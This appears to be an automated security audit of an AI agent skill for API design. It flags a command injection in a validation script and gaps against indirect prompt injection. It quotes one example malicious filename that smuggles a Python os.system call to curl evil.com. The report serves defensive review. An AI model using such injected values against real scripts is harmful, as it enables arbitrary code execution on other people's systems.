api-design-first
Warn
Audited by Gen Agent Trust Hub on Jul 10, 2026
Risk Level: MEDIUMCOMMAND_EXECUTIONEXTERNAL_DOWNLOADS
Full Analysis
- [COMMAND_EXECUTION]: The
scripts/validate-spec.shfile contains a command injection vulnerability in its fallback validation logic. The$SPECshell variable is directly interpolated into a Python command string (python3 -c "... open('$SPEC') ..."). An attacker who can influence the filename passed to this script could execute arbitrary Python code by providing a filename containing a single quote and malicious commands (e.g.,file.yaml'); import os; os.system('curl evil.com')#). - [EXTERNAL_DOWNLOADS]: The helper scripts
scripts/generate-mock.shandscripts/validate-spec.shusenpxto download and execute the@stoplight/prism-cliand@stoplight/spectral-clipackages. These are well-known tools from Stoplight, a recognized service for API development, and their use is consistent with the skill's stated purpose. - [PROMPT_INJECTION]: The skill uses role-play instructions to establish the persona of an API architect. No malicious override patterns, safety bypass attempts, or instructions to ignore system guidelines were detected.
- [DATA_EXFILTRATION]: No patterns of sensitive data access or unauthorized exfiltration were found. Network operations are restricted to fetching established development tools from the npm registry.
- [INDIRECT_PROMPT_INJECTION]: The skill acts on user-provided API descriptions to generate and validate specifications.
- Ingestion points: User descriptions of API resources and endpoints enter the context via triggers defined in
SKILL.md. - Boundary markers: The instructions do not define delimiters or warnings to ignore instructions that might be embedded in user-supplied API data.
- Capability inventory: The skill has the capability to execute shell scripts on the resulting specification files.
- Sanitization: There is no explicit sanitization of user-influenced content before it is processed or passed to shell arguments.
Audit Metadata